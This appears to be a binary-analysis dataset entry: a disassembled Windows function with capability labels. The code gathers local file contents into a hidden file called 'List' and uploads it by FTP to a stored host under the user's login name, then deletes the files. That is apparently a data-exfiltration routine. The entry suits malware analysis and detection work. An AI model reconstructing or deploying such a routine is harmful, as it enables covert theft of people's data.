Function at 0x10009ba0
Capabilities:
Connect to http server
Create http request
Get session user name
Send file using ftp
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1003eaec
mov eax, dword fs:[0]
push eax
sub esp, 0x2bc
mov eax, dword [0x100525c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 1
push 0x40
push 1
push str.Temp
lea ecx, [ebp - 0x2c8]
call fcn.100062e0
push 1
push 0x40
push 1
push 0x100406a4
lea ecx, [ebp - 0x210]
mov dword [ebp - 4], 0
call fcn.100062e0
push 1
push 0x40
push 2
push str.List
lea ecx, [ebp - 0x158]
mov byte [ebp - 4], 1
call fcn.10001830
xorps xmm0, xmm0
mov dword [ebp - 0x94], 0
movups xmmword [ebp - 0xa4], xmm0
mov dword [ebp - 0x90], 0xf
mov byte [ebp - 0xa4], 0
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
push 0xa
lea eax, [ebp - 0xa4]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0x2c8]
push eax
call fcn.10009250
add esp, 0xc
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x10009cd4
cmp dword [ebp - 0x90], 0xf
lea eax, [ebp - 0xa4]
push dword [ebp - 0x94]
cmova eax, dword [ebp - 0xa4]
push eax
lea eax, [ebp - 0x158]
push eax
call fcn.10009000
push eax
call fcn.10007510
push 0xa
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 0x2c8]
push eax
call fcn.10009250
add esp, 0x1c
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x10009c83
push 0xa
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.10009250
add esp, 0xc
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
jne 0x10009d4b
nop dword [eax + eax]
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push dword [ebp - 0x7c]
cmova eax, dword [ebp - 0x8c]
push eax
lea eax, [ebp - 0x158]
push eax
call fcn.10009000
push eax
call fcn.10007510
push 0xa
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.10009250
add esp, 0x1c
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
test byte [ecx + eax + 0xc], 6
je 0x10009d00
lea ecx, [ebp - 0x2c8]
call fcn.10008e50
lea ecx, [ebp - 0x210]
call fcn.10008e50
lea ecx, [ebp - 0x158]
call fcn.100032c0
push 2
push str.List
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.Temp
call fcn.1001df45
add esp, 4
mov dword [ebp - 0xa8], 0x64
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x10009e19
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0
push 1
push dword [0x10053730]
mov edi, eax
push dword [0x1005372c]
push 0x15
push dword [0x10053728]
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
mov esi, eax
lea eax, [ebp - 0x74]
push 2
push eax
push str.List
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x1000a047
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
push str.List
call fcn.1001df45
push 0x100406a4
call fcn.1001df45
add esp, 8
mov ecx, dword [ebp - 0x78]
mov byte [ebp - 4], 3
cmp ecx, 0xf
jbe 0x10009e54
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10009e4a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a042
push ecx
push edx
call fcn.10017130
add esp, 8
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], 0
mov byte [ebp - 4], 2
cmp ecx, 0xf
jbe 0x10009ea7
mov edx, dword [ebp - 0xa4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10009e9d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a042
push ecx
push edx
call fcn.10017130
add esp, 8
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 0xf
mov byte [ebp - 0xa4], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x15c], eax
lea ecx, [ebp - 0x154]
call fcn.10002330
mov eax, dword [ebp - 0x158]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x15c], eax
lea eax, [ebp - 0xf0]
mov byte [ebp - 4], 5
push eax
mov dword [ebp - 0xf0], vtable.std::ios_base.0
call fcn.10016b61
mov eax, dword [ebp - 0x210]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x214], eax
lea ecx, [ebp - 0x200]
call fcn.10002330
mov eax, dword [ebp - 0x210]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x210]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x214], eax
lea eax, [ebp - 0x1a0]
mov byte [ebp - 4], 6
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10016b61
mov eax, dword [ebp - 0x2c8]
add esp, 4
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x2cc], eax
lea ecx, [ebp - 0x2b8]
call fcn.10002330
mov eax, dword [ebp - 0x2c8]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x2cc], eax
lea eax, [ebp - 0x258]
mov dword [ebp - 4], 7
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.10016b61
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10017143
mov esp, ebp
pop ebp
ret
call fcn.1001c07f
push str.List
call fcn.1001df45
add esp, 4
call fcn.10009450
int3